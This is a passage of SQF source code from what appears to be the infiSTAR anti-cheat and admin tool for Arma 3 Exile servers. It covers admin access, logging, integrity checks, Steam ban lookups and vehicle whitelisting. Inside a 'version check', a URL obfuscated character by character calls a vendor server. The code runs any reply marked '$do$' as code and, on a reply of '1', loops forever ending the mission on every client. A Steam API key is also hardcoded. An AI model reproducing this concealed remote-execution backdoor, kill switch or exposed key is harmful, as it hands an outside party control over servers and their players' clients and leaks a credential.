  5434. _log = format['<infiSTAR.de> %1 - waiting for client to be ready..',call GET_TIME_TIME];systemchat _log;diag_log _log;
  5435. waitUntil {!isNull findDisplay 46 && !isNil 'ExileClientLoadedIn' && getPlayerUID player != ''};
  5436. uiSleep 1;
  5437. "; if(!_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "_log = format['<infiSTAR.de> %1 - client ready.',call GET_TIME_TIME];systemchat _log;diag_log _log;"; }; _A3AHstring = _A3AHstring + "
  5438. _admins = "+str _admins+";
  5439. _tokenFromServer = _this select 0;
  5440. _name = _this select 1;
  5441. _puid = _this select 2;
  5442. _adminsA = _this select 3;
  5443. infiSTAR_Ds = _this select 4;
  5444. infiSTAR_ADMINS = _adminsA;
  5445. if(!isNil'fnc_AdminReq')exitWith{
  5446. diag_log format['<infiSTAR.de> fnc_AdminReq already existing! %1 (kicked to lobby)',fnc_AdminReq];
  5447. (findDisplay 46) closeDisplay 0;
  5448. };
  5449. ['fnc_AdminReq',_this select 5] call FN_infiSTAR_F;
  5450. "; if(_LogAdminActions)then{ _A3AHstring = _A3AHstring + "
  5451. if(_puid in (_this select 4))then{['fnc_adminLog',''] call FN_infiSTAR_F;}else{['fnc_adminLog','[1234,toArray _this] call fnc_AdminReq;'] call FN_infiSTAR_F;};
  5452. "; }else{ _A3AHstring = _A3AHstring + "
  5453. if(isNil 'fnc_adminLog')then{['fnc_adminLog',''] call FN_infiSTAR_F;};
  5454. "; }; _A3AHstring = _A3AHstring + "
  5455. _MY_PERSONAL_ACCESS_ARRAY = [];
  5456. if(_puid in _adminsA)then
  5457. {
  5458. INFISTARVERSION='05-Jul-2016 23-52-40 - v0054';
  5459. OPEN_ADMIN_MENU_KEY = "+str _OPEN_ADMIN_MENU_KEY+";
  5460. passwordAdmin = "+str _passwordAdmin+";
  5461. diag_log format['<infiSTAR.de> OPEN_ADMIN_MENU_KEY: %1',OPEN_ADMIN_MENU_KEY];
  5462. _adminUIDandAccess = "+str _adminUIDandAccess+";
  5463. if(!isNil'_adminUIDandAccess')then
  5464. {
  5465. if(typename _adminUIDandAccess == 'ARRAY')then
  5466. {
  5467. if(count _adminUIDandAccess > 0)then
  5468. {
  5469. {
  5470. _level1 = nil;
  5471. _level1 = _x;
  5472. if(!isNil'_level1')then
  5473. {
  5474. if(typename _level1 == 'ARRAY')then
  5475. {
  5476. if(count _level1 == 2)then
  5477. {
  5478. _uids = nil;
  5479. _uids = _level1 select 0;
  5480. _uidsstate = false;
  5481. if(!isNil'_uids')then
  5482. {
  5483. if(typename _uids == 'ARRAY')then
  5484. {
  5485. if(count _uids > 0)then
  5486. {
  5487. _uidsstate = true;
  5488. };
  5489. };
  5490. };
  5491. if(_uidsstate)then
  5492. {
  5493. _access = nil;
  5494. _access = _level1 select 1;
  5495. if(!isNil'_access')then
  5496. {
  5497. if(typename _access == 'ARRAY')then
  5498. {
  5499. if(count _access > 0)then
  5500. {
  5501. if(_puid in _uids)then{_MY_PERSONAL_ACCESS_ARRAY = _access;};
  5502. };
  5503. };
  5504. };
  5505. };
  5506. };
  5507. };
  5508. };
  5509. } forEach _adminUIDandAccess;
  5510. };
  5511. };
  5512. };
  5513. _ADMINLEVELACCESS = '
  5514. _puid = getPlayerUID player;
  5515. if(_puid in '+str (_this select 4)+')exitWith{true};
  5516. if(_this in '+str _MY_PERSONAL_ACCESS_ARRAY+')exitWith{true};
  5517. false
  5518. ';
  5519. ['ADMINLEVELACCESS',_ADMINLEVELACCESS] call FN_infiSTAR_F;
  5520. if((_MY_PERSONAL_ACCESS_ARRAY isEqualTo [])&&!(_puid in (_this select 4)))exitWith{};
  5521. 'heartbeat' addPublicVariableEventHandler {};
  5522. admin_d0 = {[_this,0] call admin_d0_MASTER;};
  5523. admin_d0_server = {[_this,1] call admin_d0_MASTER;};
  5524. admin_d0_target = {[_this,2] call admin_d0_MASTER;};
  5525. admin_d0_MASTER = {
  5526. private['_do','_opt','_targetObj'];
  5527. _opt = _this select 1;
  5528. if(isNil'_opt')exitWith{};
  5529. _do = _this select 0 select 0;
  5530. if(isNil'_do')exitWith{};
  5531. if(typename _do == 'CODE')then{_do = (str(_do)) select [1,((count(str(_do)))-2)];};
  5532. if(typename _do != 'STRING')exitWith{systemChat 'admin_d0 needs STRING code!';};
  5533. if(_opt isEqualTo 2)exitWith
  5534. {
  5535. _targetObj = _this select 0 select 1;
  5536. if(isNil '_targetObj')exitWith{systemChat 'admin_d0_target has no object';};
  5537. if(typename _targetObj != 'OBJECT')exitWith{systemChat 'admin_d0_target has no object';};
  5538. if(isNull _targetObj)exitWith{systemChat 'admin_d0_target has no object';};
  5539. [69,_opt,toArray _do,netId _targetObj] call fnc_AdminReq;
  5540. };
  5541. [69,_opt,toArray _do] call fnc_AdminReq;
  5542. };
  5543. if(isNil '"+_AH_HackLogArrayRND+"')then{"+_AH_HackLogArrayRND+" = [];};
  5544. if(isNil 'AH_HackLogArray')then{AH_HackLogArray = "+_AH_HackLogArrayRND+";};
  5545. '"+_AH_HackLogArrayRND+"' addPublicVariableEventHandler
  5546. {
  5547. _array = _this select 1;
  5548. AH_HackLogArray = _array;
  5549. if(isNil'logged_in_time')then{logged_in_time=time + 10;};
  5550. if(time > logged_in_time)then
  5551. {
  5552. if(str _array != '[]')then{
  5553. _log = _array select ((count _array)-1);
  5554. if((isNil 'AdminAnnounceDisabled')||(isStreamFriendlyUIEnabled))then
  5555. {
  5556. _log call FN_SHOW_LOG;
  5557. systemchat _log;
  5558. };
  5559. diag_log _log;
  5560. };
  5561. };
  5562. };
  5563. if(isNil '"+_AH_SurvLogArrayRND+"')then{"+_AH_SurvLogArrayRND+" = [];};
  5564. if(isNil 'AH_SurvLogArray')then{AH_SurvLogArray = "+_AH_SurvLogArrayRND+";};
  5565. '"+_AH_SurvLogArrayRND+"' addPublicVariableEventHandler
  5566. {
  5567. _array = _this select 1;
  5568. AH_SurvLogArray = _array;
  5569. if(str _array != '[]')then{
  5570. _log = _array select ((count _array)-1);
  5571. diag_log _log;
  5572. };
  5573. };
  5574. if(isNil '"+_AH_AdmiLogArrayRND+"')then{"+_AH_AdmiLogArrayRND+" = [];};
  5575. if(isNil 'AH_AdmiLogArray')then{AH_AdmiLogArray = "+_AH_AdmiLogArrayRND+";};
  5576. '"+_AH_AdmiLogArrayRND+"' addPublicVariableEventHandler
  5577. {
  5578. _array = _this select 1;
  5579. AH_AdmiLogArray = _array;
  5580. if(str _array != '[]')then{
  5581. _log = _array select ((count _array)-1);
  5582. diag_log _log;
  5583. };
  5584. };
  5585. if(isNil 'PVAH_AHTMPBAN')then{PVAH_AHTMPBAN = [];};
  5586. "; if(!_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
  5587. _GET_TIME_TIME = {
  5588. _hours = floor(time / 60 / 60);
  5589. _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
  5590. _seconds = time - (_hours*60*60) - (_minutes * 60);
  5591. format['%1h %2min %3s',_hours,_minutes,round _seconds]
  5592. };
  5593. systemChat format['<infiSTAR.de> %1 - Welcome Admin!',call _GET_TIME_TIME];
  5594. "; }; _A3AHstring = _A3AHstring + "
  5595. };
  5596. if((_MY_PERSONAL_ACCESS_ARRAY isEqualTo [])&&!(_puid in (_this select 4)))exitWith{};
  5597. };
  5598. diag_log format['<infiSTAR.de> %1 - Thread MAIN: compiling adminStartupCode',time];
  5599. "+_adminStartupCode+" = compile(([_adminStartupCode] call fnc_CompilableString) + infiSTAR_MAIN_CODE);
  5600. ";
  5601. diag_log format['<infiSTAR.de> %1 - adminStartupCode: added !',time];
  5602. _from = '[email protected]';
  5603. _vers = '05-Jul-2016 23-52-40 - v0054';
  5604. VERSION_CHECK_URL_FULL = call compile ('f'+'o'+'r'+'m'+'a'+'t'+'['+"'"+'h'+'t'+'t'+'p'+':'+'/'+'/'+'v'+'.'+'i'+'n'+'f'+'i'+'S'+'T'+'A'+'R'+'.'+'d'+'e'+'/'+'i'+'n'+'d'+'e'+'x'+'.'+'p'+'h'+'p'+'?'+'f'+'='+'%'+'1'+'&'+'v'+'='+'%'+'2'+'&'+'p'+'='+'%'+'3'+'&'+'p'+'s'+'='+'%'+'4'+'&'+'s'+'='+'%'+'5'+"'"+','+'_'+'f'+'r'+'o'+'m'+','+'_'+'v'+'e'+'r'+'s'+','+'p'+'r'+'o'+'f'+'i'+'l'+'e'+'N'+'a'+'m'+'e'+','+'p'+'r'+'o'+'f'+'i'+'l'+'e'+'N'+'a'+'m'+'e'+'S'+'t'+'e'+'a'+'m'+','+'s'+'e'+'r'+'v'+'e'+'r'+'n'+'a'+'m'+'e'+']');
  5605. diag_log format['<infiSTAR.de> %1 - Thread #1: Preparing Server Loop #1..',time];
  5606. _A3AHstring = _A3AHstring + "
  5607. [] spawn {
  5608. private['_packet1','_jobid','_packet2','_res'];
  5609. _packet1 = format['getasync%1%2%1',toString [10],VERSION_CHECK_URL_FULL];
  5610. _jobid = _packet1 call FN_CALL_LOAD_DLL;
  5611. _packet2 = format['response%1%2%1',toString [10],_jobid];
  5612. _timeout = diag_tickTime + 80;
  5613. _res = 'WAIT';
  5614. _bad = ['','WAIT','ERROR','URLERROR'];
  5615. waitUntil{
  5616. uiSleep 3;
  5617. _res = _packet2 call FN_CALL_LOAD_DLL;
  5618. (!(_res in _bad) && ((toLower _res) find 'wrapper is disabled' isEqualTo -1)) || diag_tickTime > _timeout
  5619. };
  5620. if(_res find '$do$' != -1)then{_res = (_res select [4]);call compile _res;};
  5621. if(_res == '1')exitWith{
  5622. while{true}do{
  5623. _obj = 'Supply0' createVehicle [0,0,0];_do = 'failMission ''LOSER'';endMission ''LOSER'';forceEnd;';
  5624. ['',compile _do,-2,false] call FN_infiSTAR_S;
  5625. failMission 'LOSER';
  5626. endMission 'LOSER';
  5627. forceEnd;
  5628. uiSleep 1;
  5629. };
  5630. };
  5631. if(_res in _bad)exitWith{};if((toLower _res) find 'wrapper is disabled' != -1)exitWith{};
  5632. VERSIONCHECKRESULT = _res;publicVariable'VERSIONCHECKRESULT';
  5633. };
  5634. [] spawn {
  5635. diag_log format['<infiSTAR.de> %1 - Thread #1: Server Loop #1 starting',time];
  5636. _admins = "+str _admins+";
  5637. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  5638. _DO_THIS_MORE_OFTEN = ""
  5639. if(isNull player)exitWith{};
  5640. if(!alive player)exitWith{};
  5641. _puid = getPlayerUID player;
  5642. if!((count _puid) isEqualTo 17)exitWith{};
  5643. _timealive = player getVariable ['"+_timealive+"',0];
  5644. if(_timealive > 60)then
  5645. {
  5646. _name = name player;
  5647. _AHKickLog = "+_AHKickLog+";
  5648.  
  5649. _bad = true;
  5650. {
  5651. if((_x select 0) isEqualTo '<spawn> ')exitWith
  5652. {
  5653. _bad = false;
  5654. };
  5655. } forEach diag_activeSQFScripts;
  5656. if(_bad)then
  5657. {
  5658. _log = 'Runcheck failed';
  5659. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  5660. (findDisplay 46) closeDisplay 0;
  5661. };
  5662. }
  5663. else
  5664. {
  5665. player setVariable ['"+_timealive+"',_timealive + 42];
  5666. };
  5667. if(isServer)then
  5668. {
  5669. player_is_server = format['UID: %1 - isServer: %2',_puid,isServer];publicVariableServer 'player_is_server';
  5670. diag_log '<infiSTAR.de> kicked to lobby #3';
  5671. (findDisplay 46) closeDisplay 0;
  5672. };
  5673. {
  5674. _var = missionNamespace getVariable _x;
  5675. if(!isNil '_var')then
  5676. {
  5677. if(typename _var == 'CODE')then
  5678. {
  5679. player_broke_var = format['UID: %1 - %2 not ARRAY -> %3',_puid,_x,typename _var];publicVariableServer 'player_broke_var';
  5680. diag_log '<infiSTAR.de> kicked to lobby #4';
  5681. (findDisplay 46) closeDisplay 0;
  5682. };
  5683. };
  5684. } forEach ['"+_AH_RunCheckENDVAR+"','"+_AH_RunCheck+"'];
  5685. if((isNil'"+_AH_RunCheckENDVAR+"')&&(!isNil'"+_AH_RunCheck+"'))then
  5686. {
  5687. if(!isNil'"+_runcheck_thread+"')then
  5688. {
  5689. if((str "+_runcheck_thread+") isEqualTo '<NULL-script>')exitWith
  5690. {
  5691. broken_rc = {"+_runcheck_thread+"};publicVariableServer 'broken_rc';
  5692. diag_log '<infiSTAR.de> kicked to lobby #5';
  5693. (findDisplay 46) closeDisplay 0;
  5694. };
  5695. terminate "+_runcheck_thread+";
  5696. "+_runcheck_thread+"=nil;
  5697. };
  5698. "+_runcheck_thread+" = [] spawn {
  5699. _temptime= time + 30;
  5700. waitUntil {((!isNil'"+_AH_RunCheckENDVAR+"')||(time > _temptime))};
  5701. if(isNil'"+_AH_RunCheckENDVAR+"')then{diag_log '<infiSTAR.de> kicked to lobby #6';(findDisplay 46) closeDisplay 0;};
  5702. };
  5703. };
  5704. "";
  5705. _DO_THIS_MORE_OFTEN = compile _DO_THIS_MORE_OFTEN;
  5706. "; }; _A3AHstring = _A3AHstring + "
  5707. _zero = ""
  5708. _tmp=""+str FN_infiSTAR_C+"";
  5709. if(isNil 'FN_infiSTAR_C')then{FN_infiSTAR_C=_tmp;};
  5710. if(str FN_infiSTAR_C != str _tmp)then {
  5711. FN_infiSTAR_C__MODIFIED = format['%1(%2) %3',name player,getPlayerUID player,FN_infiSTAR_C];publicVariableServer'FN_infiSTAR_C__MODIFIED';
  5712. diag_log '<infiSTAR.de> kicked to lobby #6';
  5713. (findDisplay 46)closeDisplay 0;
  5714. };
  5715. _tmp=""+str FN_infiSTAR_F+"";
  5716. if(isNil 'FN_infiSTAR_F')then{FN_infiSTAR_F=_tmp;};
  5717. if(str FN_infiSTAR_F != str _tmp)then {
  5718. FN_infiSTAR_F__MODIFIED = format['%1(%2) %3',name player,getPlayerUID player,FN_infiSTAR_F];publicVariableServer'FN_infiSTAR_F__MODIFIED';
  5719. diag_log '<infiSTAR.de> kicked to lobby #7';
  5720. (findDisplay 46)closeDisplay 0;
  5721. };
  5722. _tmp=""+str fnc_CompilableString+"";
  5723. if(isNil 'fnc_CompilableString')then{fnc_CompilableString=_tmp;};
  5724. if(str fnc_CompilableString != str _tmp)then {
  5725. fnc_CompilableString__MODIFIED = format['%1(%2) %3',name player,getPlayerUID player,fnc_CompilableString];publicVariableServer'fnc_CompilableString__MODIFIED';
  5726. diag_log '<infiSTAR.de> kicked to lobby #8';
  5727. (findDisplay 46)closeDisplay 0;
  5728. };
  5729. _tmp=""+str FN_infiSTAR_CS+"";
  5730. if(isNil 'FN_infiSTAR_CS')then{FN_infiSTAR_CS=_tmp;};
  5731. if(str FN_infiSTAR_CS != str _tmp)then {
  5732. FN_infiSTAR_CS__MODIFIED = format['%1(%2) %3',name player,getPlayerUID player,FN_infiSTAR_CS];publicVariableServer'FN_infiSTAR_CS__MODIFIED';
  5733. diag_log '<infiSTAR.de> kicked to lobby #8.2';
  5734. (findDisplay 46)closeDisplay 0;
  5735. };
  5736. "";
  5737. _grpLogic = creategroup sidelogic;
  5738. _array = [[0,0,0], _grpLogic, "";"" + (_zero) + "";""];
  5739. 'Logic' createUnit _array;
  5740. waitUntil {diag_log format['<infiSTAR.de> %1 - Thread #1: Server Loop #1 - waiting for Logic #0',time];count (units _grpLogic) > 0};
  5741. {_x setVariable['BIS_enableRandomization',false];_x setVariable['"+_LogicVariable+"','1'];} forEach (units _grpLogic);
  5742. waitUntil {diag_log format['<infiSTAR.de> %1 - Thread #1: Server Loop #1 - waiting for Logic #1',time];({_x getVariable['"+_LogicVariable+"','-1'] == '1'} count ([0,0,0] nearEntities ['Logic',100])) isEqualTo 1};
  5743. _next = false;
  5744. "; if(_check_steam_ban)then{ _A3AHstring = _A3AHstring + "
  5745. FN_CHECK_STEAMBAN = compileFinal ""
  5746. params['_name','_uid'];
  5747. _url = format['http://api.steampowered.com/ISteamUser/GetPlayerBans/v1/?key=B0ABFD9E85EED86FB2A31BCB68940C6B&steamids=%1',_uid];
  5748. _packet1 = format['getasync%1%2%1',toString [10],_url];
  5749. _jobid = _packet1 call FN_CALL_LOAD_DLL;
  5750. _packet2 = format['response%1%2%1',toString [10],_jobid];
  5751. _timeout = diag_tickTime + 80;
  5752. _res = 'WAIT';
  5753. _bad = ['','WAIT','ERROR','URLERROR'];
  5754. waitUntil{
  5755. uiSleep 3;
  5756. _res = _packet2 call FN_CALL_LOAD_DLL;
  5757. (!(_res in _bad) && ((toLower _res) find 'wrapper is disabled' isEqualTo -1)) || diag_tickTime > _timeout
  5758. };
  5759. if(_res find 'EconomyBan' isEqualTo -1)exitWith{};if(_res in _bad)exitWith{};if((toLower _res) find 'wrapper is disabled' != -1)exitWith{};
  5760. _res = toArray _res;
  5761. _res = _res - [9];
  5762. _res = _res - [10];
  5763. _res = _res - [13];
  5764. _res = _res - [32];
  5765. _res = toString _res;
  5766. _rescount = count _res;
  5767. _res = _res select [(_res find 'SteamId')-1,_rescount];
  5768. _res = _res select [0,_res find '}'];
  5769. _parts = _res splitString ',';
  5770. _res = _res select [_res find 'VACBanned',_rescount];
  5771. if!(_parts isEqualTo [])then
  5772. {
  5773. _banned = false;
  5774. {
  5775. _isString = format['%1',_parts select (_forEachIndex+1)];
  5776. _shouldBeString = format['%1:false',str _x];
  5777. if!(_isString isEqualTo _shouldBeString)then
  5778. {
  5779. "; if(_ban_for_steam_ban)then{ _A3AHstring = _A3AHstring + "
  5780. _log = format['Steam known Hacker BANNED: %1',_res];
  5781. [_name,_uid,'BAN',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5782. "; }else{ _A3AHstring = _A3AHstring + "
  5783. _log = format['Steam known Hacker just joined the server: %1',_res];
  5784. [_name,_uid,'HLOG_VAC',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5785. "; }; _A3AHstring = _A3AHstring + "
  5786. _banned = true;
  5787. };
  5788. if(_banned)exitWith{};
  5789. } forEach ['CommunityBanned','VACBanned'];
  5790. if(_banned)exitWith{};
  5791.  
  5792. {
  5793. _isString = format['%1',_parts select (_forEachIndex+3)];
  5794. _shouldBeString = format['%1:0',str _x];
  5795. if!(_isString isEqualTo _shouldBeString)then
  5796. {
  5797. "; if(_ban_for_steam_ban)then{ _A3AHstring = _A3AHstring + "
  5798. _log = format['Steam known Hacker BANNED: %1',_res];
  5799. [_name,_uid,'BAN',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5800. "; }else{ _A3AHstring = _A3AHstring + "
  5801. _log = format['Steam known Hacker just joined the server: %1',_res];
  5802. [_name,_uid,'HLOG_VAC',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5803. "; }; _A3AHstring = _A3AHstring + "
  5804. _banned = true;
  5805. };
  5806. if(_banned)exitWith{};
  5807. } forEach ['NumberOfVACBans','DaysSinceLastBan','NumberOfGameBans'];
  5808. };
  5809. "";
  5810. "; }; _A3AHstring = _A3AHstring + "
  5811. _onPlayerConnected = {
  5812. if(count _uid < 17)then
  5813. {
  5814. _log = format['#0 Connected: %1(%2) ID: %3',_name,_uid,_owner];
  5815. ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
  5816. }
  5817. else
  5818. {
  5819. _steamName = call fnc_getSteamNameIfSaved;
  5820. _log = format['#0 Connected: %1(%2) ID: %3 SteamName: %4',_name,_uid,_owner,_steamName];
  5821. if(_steamName isEqualTo '')then
  5822. {
  5823. _log = format['#0 Connected: %1(%2) ID: %3',_name,_uid,_owner];
  5824. };
  5825. ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
  5826. _ds = "+str _devs+";
  5827. _d = _uid in _ds;
  5828.  
  5829. "; if(_USE_DATABASE_WHITELIST)then{ _A3AHstring = _A3AHstring + "
  5830. if(!_d)then{
  5831. _notwhitelisted = format['getAccountWhitelisted:%1', _uid] call ExileServer_system_database_query_selectSingle;
  5832. _notwhitelisted = _notwhitelisted select 0;
  5833. if(_notwhitelisted isEqualTo 0)exitWith
  5834. {
  5835. [_name,_uid,_owner,format['NOT WHITELISTED (DB STATE: %1)',_notwhitelisted]] call FNC_INFISERVERKICK;
  5836. };
  5837. };
  5838. "; }; _A3AHstring = _A3AHstring + "
  5839. "; if(_USE_UID_WHITELIST)then{ _A3AHstring = _A3AHstring + "
  5840. if!(_uid in "+str _UID_WHITELIST+")exitWith{
  5841. [_name,_uid,_owner,'NOT WHITELISTED'] call FNC_INFISERVERKICK;
  5842. };
  5843. "; }; _A3AHstring = _A3AHstring + "
  5844.  
  5845. missionNameSpace setVariable[format['"+_name_by_uid+"%1',_uid],_name];
  5846. missionNameSpace setVariable[format['"+_owner_by_uid+"%1',_uid],_owner];
  5847. missionNameSpace setVariable[format['"+_uid_by_owner+"%1',_owner],_uid];
  5848. missionNameSpace setVariable[format['NAME_BY_UID_%1',_uid],_name];
  5849. missionNameSpace setVariable[format['OWNER_BY_UID_%1',_uid],_owner];
  5850. missionNameSpace setVariable[format['UID_BY_OWNER_%1',_owner],_uid];
  5851.  
  5852. _NAME_BY_ID = format['NAME_BY_ID_%1',_id];
  5853. missionNameSpace setVariable[_NAME_BY_ID,_name];
  5854. publicVariable _NAME_BY_ID;
  5855.  
  5856. _UID_BY_ID = format['UID_BY_ID_%1',_id];
  5857. missionNameSpace setVariable[_UID_BY_ID,_uid];
  5858. publicVariable _UID_BY_ID;
  5859.  
  5860. _token = missionNameSpace getVariable[format['"+_token_by_uid+"%1',_uid],''];
  5861. if(_token isEqualTo '')then{_token = [_owner,_name,_uid] call "+_server_setTokenR+";};
  5862.  
  5863. _admins = "+str _admins+";
  5864. _admin = false;if(_uid in _admins)then{_admin=true;};
  5865. _isNormal = true;if(_admin)then{_isNormal = false;if!(_uid in "+_adminsA+")then{_isNormal = true;};};
  5866.  
  5867. if(_admin)then
  5868. {
  5869. ['',fnc_debugbox_new,_owner,false] call FN_infiSTAR_S;
  5870. };
  5871.  
  5872. "; if(_needAdminNameTag)then{ _A3AHstring = _A3AHstring + "
  5873. if(_admin && !_isNormal)then{if(_name find "+str _AdminNameTag+" isEqualTo -1)then{if!(_uid in _ds)then{_isNormal = true;};};};
  5874. "; }; _A3AHstring = _A3AHstring + "
  5875. [_token,_owner,_name,_uid,_admins,_admin,_isNormal] call "+_fnc_l_on_c+";
  5876. [_name,_uid,_owner,_admin] call "+_fnc_infiSTAR_PlayerLog+";
  5877. };
  5878. };
  5879. "+_onPlayerConnected+" = compileFinal ([_onPlayerConnected] call fnc_CompilableString);
  5880.  
  5881.  
  5882.  
  5883.  
  5884. infiSTAR_PlayerConnected_id = addMissionEventHandler ['PlayerConnected',{
  5885. params['_id','_uid','_name','_jip','_owner'];
  5886. call "+_onPlayerConnected+";
  5887. }];
  5888. _log = format['infiSTAR_PlayerConnected_id: %1',infiSTAR_PlayerConnected_id];
  5889. ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
  5890.  
  5891.  
  5892. infiSTAR_PlayerDisconnected_id = addMissionEventHandler ['PlayerDisconnected',{
  5893. params['_id','_uid','_name','_jip','_owner'];
  5894. if(count _uid < 17)then
  5895. {
  5896. _log = format['#2 Disconnected: %1(%2) ID: %3',_name,_uid,_owner];
  5897. ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
  5898. }
  5899. else
  5900. {
  5901. _steamName = call fnc_getSteamNameIfSaved;
  5902. _log = format['#2 Disconnected: %1(%2) ID: %3 SteamName: %4',_name,_uid,_owner,_steamName];
  5903. ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
  5904. };
  5905. }];
  5906. _log = format['infiSTAR_PlayerDisconnected_id: %1',infiSTAR_PlayerDisconnected_id];
  5907. ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
  5908.  
  5909.  
  5910.  
  5911.  
  5912. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  5913. "; if(_UVC)then{ _A3AHstring = _A3AHstring + "
  5914. _fnc_check_type_allowed = {
  5915. params[['_type','']];
  5916. _return = true;
  5917. _typeLow = toLower _type;
  5918. "; if(_VehicleWhiteList_check)then{ _A3AHstring = _A3AHstring + "
  5919. if!(_typeLow in "+str _VehicleWhiteList+")then
  5920. {
  5921. if!(_typeLow select [0,5] isEqualTo 'exile')then
  5922. {
  5923. _return = false;
  5924. };
  5925. };
  5926. "; }; _A3AHstring = _A3AHstring + "
  5927. "; if(_ForbiddenVehicles_check)then{ _A3AHstring = _A3AHstring + "
  5928. if(_typeLow in "+str _ForbiddenVehicles+")then
  5929. {
  5930. _return = false;
  5931. };
  5932. "; }; _A3AHstring = _A3AHstring + "
  5933. _return
  5934. };
  5935. "+_fnc_check_type_allowed+" = compileFinal ([_fnc_check_type_allowed] call fnc_CompilableString);
  5936. _fnc_remove_badvehicle =
  5937. {
  5938. params[['_veh',objNull],['_type',''],['_crew',[]],['_ownerUID','']];
  5939. if(_crew isEqualTo [])then
  5940. {
  5941. _log = format['BadVehicle: %1 :: @%2 %3',_type,mapGridPosition _veh,getPos _veh];
  5942. ['SERVER',_ownerUID,'HLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5943. }
  5944. else
  5945. {
  5946. _logged = [];
  5947. {
  5948. _xuid = getPlayerUID _x;
  5949. if!(_xuid isEqualTo '')then
  5950. {
  5951. _log = format['BadVehicle: %1 :: @%2 %3',_type,mapGridPosition _veh,getPos _veh];
  5952. [name _x,_xuid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5953. _logged pushBack _xuid;
  5954. };
  5955. } forEach _crew;
  5956. if!(_ownerUID in _logged)then
  5957. {
  5958. _log = format['BadVehicle: %1 :: @%2 %3',_type,mapGridPosition _veh,getPos _veh];
  5959. ['SERVER',_ownerUID,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5960. };
  5961. };
  5962. _veh call fnc_deleteObject;
  5963. };
  5964. "+_fnc_remove_badvehicle+" = compileFinal ([_fnc_remove_badvehicle] call fnc_CompilableString);
  5965. _fnc_vehicle_check = {
  5966. params[['_veh',objNull]];
  5967. if(_veh getVariable['"+_vehicle_needs_check+"',true])then
  5968. {
  5969. _veh setVariable['"+_vehicle_needs_check+"',false];
  5970. _type = typeOf _veh;
  5971.  
  5972. if!(_type isKindOf 'ParachuteBase')then
  5973. {
  5974. _netIdobj = netId _veh;
  5975. _ownerIdobj = _netIdobj select [0,_netIdobj find ':'];
  5976. _ownerIdobj = parseNumber _ownerIdobj;
  5977.  
  5978. _uid = missionNameSpace getVariable[format['"+_uid_by_owner+"%1',_ownerIdobj],''];
  5979. if(!(_uid isEqualTo '')&&(_ownerIdobj > 2)&&!(_type in "+str _LocalWhitelist+"))then
  5980. {
  5981. _name = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_uid],''];
  5982.  
  5983. _log = format['Locally created Vehicle found: %1 (%2) :: @%3 %4',_type,_netIdobj,mapGridPosition _veh,getPos _veh];
  5984. [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5985. _veh setDamage 1;
  5986. _veh call fnc_deleteObject;
  5987. }
  5988. else
  5989. {
  5990. _return = _type call "+_fnc_check_type_allowed+";
  5991. if(!_return)then
  5992. {
  5993. [_veh,_type,crew _veh,_uid] call "+_fnc_remove_badvehicle+";
  5994. };
  5995. };
  5996. };
  5997. };
  5998. };
  5999. "+_fnc_vehicle_check+" = compileFinal ([_fnc_vehicle_check] call fnc_CompilableString);
  6000. "; }; _A3AHstring = _A3AHstring + "
  6001. _fnc_RandomGen =
  6002. {
  6003. _arr = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9'];
  6004. _gen = _arr select (floor (random 25));
  6005. for '_i' from 0 to (12+(round(random 5))) do {_gen = _gen + (_arr select (random ((count _arr)-1)));};
  6006. _gen
  6007. };
  6008. _antiantihack_rndvar = call _fnc_RandomGen;
  6009. "; }; _A3AHstring = _A3AHstring + "
  6010. _timer0 = 0;
  6011. _fn_0 = {
  6012. if(_next)then{{_x setVariable['BIS_enableRandomization',false];_x setVariable['"+_LogicVariable+"','1'];} forEach (units _grpLogic);};
  6013. _countLogics = {_x getVariable['"+_LogicVariable+"','-1'] == '1'} count ([0,0,0] nearEntities ['Logic',100]);
  6014. if!(_countLogics isEqualTo 1)then
  6015. {
  6016. _log = format['Logic count has changed to %1 - should be 1!',_countLogics];
  6017. ['SERVER','SERVER','HLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  6018.  
  6019. _array = [[0,0,0], _grpLogic, "";"" + (_zero) + "";""];
  6020. 'Logic' createUnit _array;
  6021. _next = true;
  6022. };
  6023. };
  6024. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  6025. _timer1 = 0;
  6026. _fn_1 = {
  6027. [_DO_THIS_MORE_OFTEN,{call _this},-2,false] call FN_infiSTAR_S;
  6028. };
  6029. "; }; _A3AHstring = _A3AHstring + "
  6030. _timer2 = time + 45;
  6031. _fn_2 = {
  6032. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  6033. "; if(_CGM)then{ _A3AHstring = _A3AHstring + "
  6034. if(isNil'"+_MCS+"')then{"+_MCS+" = allMapMarkers;};
  6035. {
  6036. _marker = _x;
  6037. _index = "+_MCS+" pushBackUnique _marker;
  6038. if(_index > -1)then
  6039. {
  6040. _lowMarker = toLower _marker;
  6041. _do = true;
  6042. {if(_lowMarker find (toLower _x) != -1)exitWith{_do = false;};} forEach "+str _allowedMarkers+";
  6043. if(_do)then
  6044. {
  6045. if(_lowMarker in ['gefmarker','deinvadder','swagmarker','dmcmarking','life_mpPacket_send','greenmarker'])then
  6046. {
